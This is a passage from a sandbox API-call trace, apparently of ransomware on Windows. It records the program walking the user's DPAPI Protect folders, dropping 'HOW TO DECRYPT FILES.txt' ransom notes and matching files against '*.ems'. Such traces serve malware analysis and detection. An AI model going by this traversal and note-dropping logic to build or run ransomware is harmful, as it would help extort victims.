ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.166] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.166] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.166] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0088.167] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.167] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CREDHIST") returned 1 [0088.167] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CREDHIST") returned 1 [0088.167] lstrcmpiA (lpString1="", lpString2="CREDHIST") returned -1 [0088.167] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*.*") returned="*.*" [0088.167] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" [0088.167] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\") returned="" [0088.167] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt" [0088.167] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\how to decrypt files.txt")) returned 0xffffffff [0088.167] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.171] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.171] CloseHandle (hObject=0x94) returned 1 [0088.171] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="CREDHIST" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" [0088.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST", pszSpec="*.ems") returned 0 [0088.171] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1 [0088.171] lstrcmpA (lpString1=".", lpString2="S-1-5-21-3111613574-2524581245-2586426736-500") returned -1 [0088.171] lstrcmpA (lpString1="..", lpString2="S-1-5-21-3111613574-2524581245-2586426736-500") returned -1 [0088.171] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned="CREDHIST" [0088.171] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-3111613574-2524581245-2586426736-500" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" [0088.172] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5035c8, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.175] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.175] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0088.175] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.175] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.175] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1 [0088.175] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 1 [0088.175] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 1 [0088.175] lstrcmpiA (lpString1="", lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned -1 [0088.175] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*.*") returned="*.*" [0088.175] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" [0088.176] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\") returned="" [0088.176] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt" [0088.176] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to decrypt files.txt")) returned 0xffffffff [0088.176] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.179] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.179] CloseHandle (hObject=0x98) returned 1 [0088.179] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpString2="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" [0088.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", pszSpec="*.ems") returned 0 [0088.179] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1 [0088.179] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.179] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Preferred") returned -1 [0088.179] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Preferred") returned -1 [0088.179] lstrcmpiA (lpString1="", lpString2="Preferred") returned -1 [0088.179] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" [0088.180] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" [0088.180] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\") returned="" [0088.180] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt" [0088.180] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\how to decrypt files.txt")) returned 0x2020 [0088.180] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\", lpString2="Preferred" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" [0088.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred", pszSpec="*.ems") returned 0 [0088.180] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0 [0088.180] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.180] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xfc585760, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfc585760, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x355, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~2")) returned 1 [0088.180] lstrcmpA (lpString1=".", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0088.180] lstrcmpA (lpString1="..", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0088.180] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*.*") returned="*.*" [0088.180] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0088.181] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xfc585760, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfc585760, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x350032, dwReserved1=0x340032, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.181] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.181] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xfc585760, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfc585760, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x340000, cFileName="..", cAlternateFileName="")) returned 1 [0088.181] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.181] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.181] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf923e050, ftCreationTime.dwHighDateTime=0x1d3aab9, ftLastAccessTime.dwLowDateTime=0xf923e050, ftLastAccessTime.dwHighDateTime=0x1d3aab9, ftLastWriteTime.dwLowDateTime=0xf923e050, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="02540a10-7eb7-4b20-a8c7-470f8986389c", cAlternateFileName="02540A~1")) returned 1 [0088.181] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.181] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="02540a10-7eb7-4b20-a8c7-470f8986389c") returned 1 [0088.181] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="02540a10-7eb7-4b20-a8c7-470f8986389c") returned 1 [0088.181] lstrcmpiA (lpString1="", lpString2="02540a10-7eb7-4b20-a8c7-470f8986389c") returned -1 [0088.181] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*") returned="*.*" [0088.181] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.181] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.181] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0088.182] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0xffffffff [0088.182] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.190] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.190] CloseHandle (hObject=0x98) returned 1 [0088.190] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="02540a10-7eb7-4b20-a8c7-470f8986389c" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c" [0088.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c", pszSpec="*.ems") returned 0 [0088.191] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdc5ea830, ftCreationTime.dwHighDateTime=0x1d41fce, ftLastAccessTime.dwLowDateTime=0xdc5ea830, ftLastAccessTime.dwHighDateTime=0x1d41fce, ftLastWriteTime.dwLowDateTime=0xdc5ea830, ftLastWriteTime.dwHighDateTime=0x1d41fce, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="0e15476d-d8fe-46ca-8099-ebdcf80f637c", cAlternateFileName="0E1547~1")) returned 1 [0088.191] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.191] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 1 [0088.191] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 1 [0088.191] lstrcmpiA (lpString1="", lpString2="0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned -1 [0088.191] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c") returned="02540a10-7eb7-4b20-a8c7-470f8986389c" [0088.191] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0088.191] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0088.191] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") 